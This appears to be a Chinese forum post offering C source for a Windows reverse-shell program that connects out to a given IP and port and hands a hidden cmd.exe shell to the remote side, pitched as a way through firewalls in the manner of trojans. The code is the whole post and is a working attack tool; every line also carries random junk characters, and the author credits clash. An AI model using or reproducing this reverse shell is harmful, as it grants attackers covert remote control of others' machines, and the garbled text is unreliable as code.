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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 z 2Rg`1B  
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/* ============================== %W:]OPURK  
Rebound port in Windows NT F)^:WWVc#  
By wind,2006/7 ~Bs=[TNd[  
===============================*/ >{huaN B  
#include ew{(@p+$  
#include Qg' {RAV8  
(2fWJ%7VG  
#pragma comment(lib,"wsock32.lib") 0N(o)WRv  
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void OutputShell(); si.w1  
SOCKET sClient; gdkQ h_\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >)p8^jX   
^YwTO/Q|  
void main(int argc,char **argv) pQf5s7  
{ 1# -=|:U  
WSADATA stWsaData; tsvh/)V  
int nRet; Uel^rfE`  
SOCKADDR_IN stSaiClient,stSaiServer; w5tcO%+k1  
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if(argc != 3) v"N%w1`.e  
{ qL?`l;+  
printf("Useage:\n\rRebound DestIP DestPort\n"); \OX;ZVb?5  
return; fNTe_akp  
} eJ O+MurO  
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WSAStartup(MAKEWORD(2,2),&stWsaData); oUG!=.1}K5  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N5\]VCX  
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stSaiClient.sin_family = AF_INET; 7C"&f *lEi  
stSaiClient.sin_port = htons(0); "hi)p9 _cR  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); HE0@`(mCpa  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d iGkwKj  
{ jdWA)N}kDG  
printf("Bind Socket Failed!\n");  8%W(",nd  
return; 1 /dy@'  
} V$';B=M  
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stSaiServer.sin_family = AF_INET; MX\v2["FoV  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zv}3Sl@  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P>s 3Rh3:  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b6y/o48  
{ y2:~_MD  
printf("Connect Error!"); eW>Y*l% B  
return;  a8wQ ,  
} e qzmEg  
OutputShell(); OX!<{9o  
} vv% o+r-t  
1?}5.*j<  
void OutputShell() u|}p3-z|Y  
{ RC>79e/u<  
char szBuff[1024]; ?ot7_vl  
SECURITY_ATTRIBUTES stSecurityAttributes; -SGo E=  
OSVERSIONINFO stOsversionInfo; EiP#xjn?c  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1Ff Sqd  
STARTUPINFO stStartupInfo; x'IYWo ]  
char *szShell; (_aM26s  
PROCESS_INFORMATION stProcessInformation; r{pbUk  
unsigned long lBytesRead; *t3uj  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); K[~fpQGbV1  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y6C3u5`  
stSecurityAttributes.lpSecurityDescriptor = 0; #'&&&_Hu3  
stSecurityAttributes.bInheritHandle = TRUE; eNEMyv5{w4  
Ns}BE H  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); U.,_zEbx,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6< T@\E  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }> pNf  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  ^D.u   
stStartupInfo.wShowWindow = SW_HIDE; ft" t  
stStartupInfo.hStdInput = hReadPipe; @G&2Tbj[`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [zv@}@$  
n 9X:s?B/  
GetVersionEx(&stOsversionInfo); Op2@En|d  
#5b}"xK{  
switch(stOsversionInfo.dwPlatformId) 9nrmz>es|-  
{ Z>)M{25  
case 1: g&<3Kl  
szShell = "command.com"; X}@'FxIF  
break; 4u.Fy<+@4M  
default: -cL{9r&X  
szShell = "cmd.exe"; &}q;,"  
break; 6*u WRjt  
} T4lE-g2%M  
<T|?`;K  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6myF!  H=  
(n+FEE<  
send(sClient,szMsg,77,0); @3_[NI%  
while(1) jMV9r-{*+  
{  ZFH;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 94CHxv  
if(lBytesRead) #i1z&b#@  
{ yy(.|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); a2!;$B%  
send(sClient,szBuff,lBytesRead,0); |_GESpoHH  
} fp`k1Uq@  
else XJI ff$K  
{ h:3^FV&#  
lBytesRead=recv(sClient,szBuff,1024,0); e_v_y$  
if(lBytesRead<=0) break; )@,zG(t5;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L$ki>._i\  
} d09qZj>  
} Q]7}" B&  
L55VS:'  
return; z3mo2e  
}
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